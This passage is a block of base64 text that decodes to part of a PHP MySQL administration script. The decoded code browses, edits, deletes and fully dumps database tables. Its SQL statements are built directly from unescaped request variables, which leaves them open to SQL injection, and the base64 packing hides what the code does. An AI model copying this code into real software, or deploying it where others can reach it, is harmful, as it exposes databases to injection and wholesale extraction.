JHRhYmxlbmFtZSc+QWRkIERhdGE8L2E+IHwgXG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VM
Rj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+
U2NoZW1hPC9hPlxuIjsKCX0KCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAk
cXVlcnlTdHIgKTsKCSRmaWVsZHQgPSBteXNxbF9mZXRjaF9maWVsZCgkcFJlc3VsdCk7CgkkdGFi
bGVuYW1lID0gJGZpZWxkdC0+dGFibGU7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsKCgkkR0xP
QkFMU1txdWVyeVN0cl0gPSAkcXVlcnlTdHI7CgoJaWYoICRwUmVzdWx0ID09IGZhbHNlICkgewoJ
CWVjaG9RdWVyeVJlc3VsdCgpOwoJCXJldHVybjsKCX0KCWlmKCAkcFJlc3VsdCA9PSAxICkgewoJ
CSRlcnJNc2cgPSAiU3VjY2VzcyI7CgkJZWNob1F1ZXJ5UmVzdWx0KCk7CgkJcmV0dXJuOwoJfQoK
CWVjaG8gIjxocj5cbiI7CgoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJJGNv
bCA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJaWYoICRyb3cgPT0gMCApIHsKCQll
Y2hvICJObyBEYXRhIEV4aXN0ISI7CgkJcmV0dXJuOwoJfQoJCglpZiggJHJvd3BlcnBhZ2UgPT0g
IiIgKSAkcm93cGVycGFnZSA9IDMwOwoJaWYoICRwYWdlID09ICIiICkgJHBhZ2UgPSAwOwoJZWxz
ZSAkcGFnZS0tOwoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFn
ZSApOwoKCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOwoJZWNo
byAiPHRyPlxuIjsKCWZvciggJGkgPSAwOyAkaSA8ICRjb2w7ICRpKysgKSB7CgkJJGZpZWxkID0g
bXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOwoJCWVjaG8gIjx0aD4iOwoJCWlmKCRh
Y3Rpb24gPT0gInZpZXdEYXRhIikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj12
aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZvcmRlcmJ5PSIuJGZp
ZWxkLT5uYW1lLiInPiIuJGZpZWxkLT5uYW1lLiI8L2E+XG4iOwoJCWVsc2UKCQkJZWNobyAiPGZv
bnQJc3R5bGU9J3RleHQtZGVjb3JhdGlvbjpub25lO2NvbG9yOiMwMDAwMDA7Zm9udC1zaXplOngt
c21hbGw7Jz4iLiRmaWVsZC0+bmFtZS4iPC9mb250PlxuIjsKCQllY2hvICI8L3RoPlxuIjsKCX0K
CWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90aD5cbiI7CgllY2hvICI8L3RyPlxuIjsKCglm
b3IoICRpID0gMDsgJGkgPCAkcm93cGVycGFnZTsgJGkrKyApIHsKCQkkcm93QXJyYXkgPSBteXNx
bF9mZXRjaF9yb3coICRwUmVzdWx0ICk7CgkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFr
OwoJCWVjaG8gIjx0cj5cbiI7CgkJJGtleSA9ICIiOwoJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7
ICRqKysgKSB7CgkJCSRkYXRhID0gJHJvd0FycmF5WyRqXTsKCgkJCSRmaWVsZCA9IG15c3FsX2Zl
dGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGogKTsKCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0g
MSApCgkJCQkka2V5IC49ICImIiAuICRmaWVsZC0+bmFtZSAuICI9IiAuICRkYXRhOwoKCQkJaWYo
IHN0cmxlbiggJGRhdGEgKSA+IDMwICkKCQkJCSRkYXRhID0gc3Vic3RyKCAkZGF0YSwgMCwgMzAg
KSAuICIuLi4iOwoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7CgkJCWVjaG8g
Ijx0ZD5cbiI7CgkJCWVjaG8gIiRkYXRhXG4iOwoJCQllY2hvICI8L3RkPlxuIjsKCQl9CgkJIAoJ
CWlmKCAka2V5ID09ICIiICkKCQkJZWNobyAiPHRkIGNvbHNwYW49Mj5ubyBLZXk8L3RkPlxuIjsK
CQllbHNlIHsKCQkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdERhdGEk
a2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5FZGl0PC9hPjwvdGQ+XG4i
OwoJCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kZWxldGVEYXRhJGtleSZk
Ym5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25m
aXJtKCdEZWxldGUgUm93PycpXCI+RGVsZXRlPC9hPjwvdGQ+XG4iOwoJCX0KCQllY2hvICI8L3Ry
PlxuIjsKCX0KCWVjaG8gIjwvdGFibGU+XG4iOwoKCWVjaG8gIjxmb250IHNpemU9Mj5cbiI7Cglp
ZigkYWN0aW9uID09ICJ2aWV3RGF0YSIpCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/
YWN0aW9uPXZpZXdEYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRo
b2Q9cG9zdD5cbiI7CgllbHNlCgkJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEY/YWN0aW9u
PXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVy
eVN0cicgbWV0aG9kPXBvc3Q+XG4iOwoJZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+XG4iOwoJZWNo
byAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsKCWVjaG8g
IjwvZm9udD5cbiI7CgllY2hvICIgfCAiOwoJaWYoICRwYWdlID4gMCApIHsKCQlpZigkYWN0aW9u
ID09ICJ2aWV3RGF0YSIpCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld0Rh
dGEmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7CgkJ
ZWxzZQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJu
YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdl
KTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAidmlld0RhdGEiKQoJCQllY2hv
ICImb3JkZXJieT0kb3JkZXJieSI7CgkJZWNobyAiJz5QcmV2PC9hPlxuIjsKCX0gZWxzZQoJCWVj
aG8gIlByZXYiOwoJZWNobyAiIHwgIjsKCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0x
ICkgewoJCWlmKCRhY3Rpb24gPT0gInZpZXdEYXRhIikKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9T
RUxGP2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZw
YWdlPSIuKCRwYWdlKzIpOwoJCWVsc2UKCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlv
bj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVl
cnlTdHImcGFnZT0iLigkcGFnZSsyKTsKCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9
PSAidmlld0RhdGEiKQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7CgkJZWNobyAiJz5OZXh0
PC9hPlxuIjsKCX0gZWxzZQoJCWVjaG8gIk5leHQiOwoJZWNobyAiIHwgIjsKCWlmKCAkcm93ID4g
JHJvd3BlcnBhZ2UgKSB7CgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdl
PlxuIjsKCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0dvJz5cbiI7Cgl9CgllY2hv
ICI8L2Zvcm0+XG4iOwoJZWNobyAiPC9mb250PlxuIjsKfQoKZnVuY3Rpb24gbWFuYWdlRGF0YSgg
JGNtZCApIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBf
U0VMRjsKCglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7
CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsKCQllY2hvICI8aDE+RWRpdCBEYXRhPC9oMT5c
biI7CgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSAp
OwoJCSRudW0gPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOwoJCgkJJGtleSA9ICIiOwoJ
CWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNo
X2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsKCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSAp
CgkJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1l
IC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJCQllbHNlCgkJCQkJ
JGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIn
IEFORCAiOwoJCX0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOwoK
CQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJCSRwUmVzdWx0ID0g
bXlzcWxfcXVlcnkoICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJF
ICRrZXkiLCAkbXlzcWxIYW5kbGUgKTsKCQkkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJl
c3VsdCApOwoJfQoKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVu
YW1lPC9wPlxuIjsKCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+
XG4iOwoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l
PWFjdGlvbiB2YWx1ZT1hZGREYXRhX3N1Ym1pdD5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0
IiApCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXREYXRh
X3N1Ym1pdD5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9
JGRibmFtZT5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFs
dWU9JHRhYmxlbmFtZT5cbiI7CgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGlu
Zz0yPlxuIjsKCWVjaG8gIjx0cj5cbiI7CgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOwoJZWNobyAi
PHRoPlR5cGU8L3RoPlxuIjsKCWVjaG8gIjx0aD5GdW5jdGlvbjwvdGg+XG4iOwoJZWNobyAiPHRo
PkRhdGE8L3RoPlxuIjsKCWVjaG8gIjwvdHI+XG4iOwoKCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVl
cnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkkbnVtID0gbXlz
cWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJJHBSZXN1bHRMZW4gPSBteXNxbF9saXN0X2ZpZWxk
cyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoKCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysg
KSB7CgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7CgkJJGZpZWxkbmFt
ZSA9ICRmaWVsZFsiRmllbGQiXTsKCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJJGxl
biA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7CgoJCWVjaG8gIjx0cj4iOwoJ
CWVjaG8gIjx0ZD4kZmllbGRuYW1lPC90ZD4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJd
LiI8L3RkPiI7CgkJZWNobyAiPHRkPlxuIjsKCQllY2hvICI8c2VsZWN0IG5hbWU9JHtmaWVsZG5h
bWV9X2Z1bmN0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPkFT
Q0lJXG4iOwoJCWVjaG8gIjxvcHRpb24+Q0hBUlxuIjsKCQllY2hvICI8b3B0aW9uPlNPVU5ERVhc
biI7CgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOwoJCWVjaG8gIjxvcHRpb24+Q1VSVElNRVxu
IjsKCQllY2hvICI8b3B0aW9uPkZST01fREFZU1xuIjsKCQllY2hvICI8b3B0aW9uPkZST01fVU5J
WFRJTUVcbiI7CgkJZWNobyAiPG9wdGlvbj5OT1dcbiI7CgkJZWNobyAiPG9wdGlvbj5QQVNTV09S
RFxuIjsKCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7CgkJZWNobyAiPG9wdGlvbj5QRVJJ
T0RfRElGRlxuIjsKCQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7CgkJZWNobyAiPG9wdGlvbj5V
U0VSXG4iOwoJCWVjaG8gIjxvcHRpb24+V0VFS0RBWVxuIjsKCQllY2hvICI8b3B0aW9uPlJBTkRc
biI7CgkJZWNobyAiPC9zZWxlY3Q+XG4iOwoJCWVjaG8gIjwvdGQ+XG4iOwoJCSR2YWx1ZSA9IGh0
bWxzcGVjaWFsY2hhcnMoJGRhdGFbJGldKTsKCQlpZiggJGNtZCA9PSAiYWRkIiApIHsKCQkJJHR5
cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51
bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBl
ID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJ
ZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRu
YW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkg
KSB7CgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9
CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsK
CQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9
NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGQ+XG4iOwoJCQkJZWxzZQoJCQkJ
CWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0k
ZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOwoJCQl9CgkJfSBlbHNlIGlmKCAkY21kID09ICJlZGl0
IiApIHsKCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAk
dHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJ
CQkJaWYoICR0eXBlID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5h
bWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3Qg
bmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0
cnRvayggIiciICkgKSB7CgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkKCQkJCQkJZWNobyAiPG9w
dGlvbiBzZWxlY3RlZD4kc3RyXG4iOwoJCQkJCWVsc2UKCQkJCQkJZWNobyAiPG9wdGlvbj4kc3Ry
XG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJ
CQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVj
aG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmll
bGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7CgkJCQllbHNlCgkJCQkJZWNobyAiPHRk
Pjx0ZXh0YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+
JHZhbHVlPC90ZXh0YXJlYT5cbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90cj4iOwoJfQoJZWNobyAi
PC90YWJsZT48cD5cbiI7CglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGlucHV0IHR5cGU9
c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQoJ
CWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRhJz5cbiI7CgllY2hvICI8
aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCkn
PlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZURhdGFfc3VibWl0KCAk
Y21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxk
bmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHBSZXN1bHQgPSBteXNxbF9s
aXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoJJG51bSA9IG15c3FsX251bV9maWVs
ZHMoICRwUmVzdWx0ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUg
KTsKCWlmKCAkY21kID09ICJhZGQiICkKCQkkcXVlcnlTdHIgPSAiSU5TRVJUIElOVE8gJHRhYmxl
bmFtZSBWQUxVRVMgKCI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJJHF1ZXJ5U3RyID0g
IlJFUExBQ0UgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsKCWZvciggJGkgPSAwOyAkaSA8ICRu
dW0tMTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsK
CQkkZnVuYyA9ICRHTE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9uIl07CgkJaWYoICRmdW5j
ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsKCQlpZiggJGZpZWxkLT5udW1lcmlj
ID09IDEgKSB7CgkJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdOwoJCQlpZigg
JGZ1bmMgIT0gIiIgKQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7CgkJCWVsc2UKCQkJCSRxdWVyeVN0
ciAuPSAiLCI7CgkJfSBlbHNlIHsKCQkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVs
ZC0+bmFtZV07CgkJCWlmKCAkZnVuYyAhPSAiIiApCgkJCQkkcXVlcnlTdHIgLj0gIicpLCI7CgkJ
CWVsc2UKCQkJCSRxdWVyeVN0ciAuPSAiJywiOwoJCX0KCX0KCSRmaWVsZCA9IG15c3FsX2ZldGNo
X2ZpZWxkKCAkcFJlc3VsdCApOwoJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkKCQkkcXVlcnlT
dHIgLj0gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIpIjsKCWVsc2UgCgkJJHF1ZXJ5U3RyIC49
ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOwoKCW15c3FsX3F1ZXJ5KCAkcXVl
cnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOwoKCXZpZXdE
YXRhKCAiIiApOwp9CgpmdW5jdGlvbiBkZWxldGVEYXRhKCkgewoJZ2xvYmFsICRteXNxbEhhbmRs
ZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIs
ICRlcnJNc2c7CgoJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxl
bmFtZSApOwoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJJGtleSA9ICIi
OwoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRj
aF9maWVsZCggJHBSZXN1bHQsICRpICk7CgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSAp
CgkJCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApCgkJCQkka2V5IC49ICRmaWVsZC0+bmFtZSAu
ICI9IiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiIEFORCAiOwoJCQllbHNlCgkJCQkka2V5
IC49ICRmaWVsZC0+bmFtZSAuICI9JyIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIicgQU5E
ICI7Cgl9Cgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOwoKCW15c3Fs
X3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CgkkcXVlcnlTdHIgPSAgIkRFTEVU
RSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJGtleSI7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAk
bXlzcWxIYW5kbGUgKTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOwoKCXZpZXdEYXRhKCAiIiAp
Owp9CgpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpCnsKCWdsb2JhbCAkbXlz
cWxIYW5kbGUsJGRibmFtZTsKCQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5k
bGUgKTsKCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSAkdGFibGUi
LCRteXNxbEhhbmRsZSk7CgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lk
LCBNWVNRTF9BU1NPQyk7CgkkdGFibGVkdW1wID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTICR0YWJs
ZTtcbiIgLiAkdGFibGVkdW1wWydDcmVhdGUgVGFibGUnXSAuICI7XG5cbiI7CgoJZWNobyAkdGFi
bGVkdW1wOwoKCS8vIGdldCBkYXRhCgkkcm93cyA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9N
ICR0YWJsZSIsJG15c3FsSGFuZGxlKTsKCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93
cyk7Cgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3dzLCBNWVNRTF9OVU0pKQoJ
ewoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOwoKCQkkZmllbGRj
b3VudGVyID0gLTE7CgkJJGZpcnN0ZmllbGQgPSAxOwoJCS8vIGdldCBlYWNoIGZpZWxkJ3MgZGF0
YQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQoJCXsKCQkJaWYgKCEkZmly
c3RmaWVsZCkKCQkJewoJCQkJJHRhYmxlZHVtcCAuPSAnLCAnOwoJCQl9CgkJCWVsc2UKCQkJewoJ
CQkJJGZpcnN0ZmllbGQgPSAwOwoJCQl9CgoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50
ZXIiXSkpCgkJCXsKCQkJCSR0YWJsZWR1bXAgLj0gJ05VTEwnOwoJCQl9CgkJCWVsc2UKCQkJewoJ
CQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNv
dW50ZXIiXSkgLiAiJyI7CgkJCX0KCQl9CgoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOwoKCQllY2hv
ICR0YWJsZWR1bXA7CgoJfQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsKfQoKZnVuY3Rpb24g
ZHVtcCgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRhY3Rpb24sICRkYm5hbWUsICR0YWJsZW5h
bWU7CgoJaWYoICRhY3Rpb24gPT0gImR1bXBUYWJsZSIgKXsKCgkJaGVhZGVyKCJDb250ZW50LWRp
c3Bvc2l0aW9uOiBmaWxlbmFtZT0kdGFibGVuYW1lLnNxbCIpOwoJCWhlYWRlcignQ29udGVudC10
eXBlOiB1bmtub3duL3Vua25vd24nKTsKCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1l
KTsKCQllY2hvICJcblxuXG4iOwoJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkdGFibGVuYW1lIFRB
QkxFIERVTVAgQ09NUExFVEVEICMjIyI7CgkJZXhpdDsJCQoJCQkJCgl9ZWxzZXsKCQloZWFkZXIo
IkNvbnRlbnQtZGlzcG9zaXRpb246IGZpbGVuYW1lPSRkYm5hbWUuc3FsIik7CgkJaGVhZGVyKCdD
b250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOwoJCQoJCW15c3FsX3NlbGVjdF9kYiggJGRi
bmFtZSwgJG15c3FsSGFuZGxlICk7CgkJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgdGFi
bGVzIiwkbXlzcWxIYW5kbGUpOwoJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1
ZXJ5X2lkLCBNWVNRTF9OVU0pKQoJCXsKCQkJCWZldGNoX3RhYmxlX2R1bXBfc3FsKCRyb3dbMF0p
OwoJCQkJZWNobyAiXG5cblxuIjsKCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRB
QkxFIERVTVAgQ09NUExFVEVEICMjIyI7CgkJCQllY2hvICJcblxuXG4iOwoJCX0KCQllY2hvICJc
clxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOwoJCWV4
aXQ7CQkKCgl9Cgp9CgpmdW5jdGlvbiB1dGlscygpIHsKCWdsb2JhbCAkUEhQX1NFTEYsICRjb21t
YW5kOwoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOwoJaWYoICRjb21tYW5kID09ICIiIHx8
IHN1YnN0ciggJGNvbW1hbmQsIDAsIDUgKSA9PSAiZmx1c2giICkgewoJCWVjaG8gIjxocj5cbiI7
CgkJZWNobyAiU2hvd1xuIjsKCQllY2hvICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSck
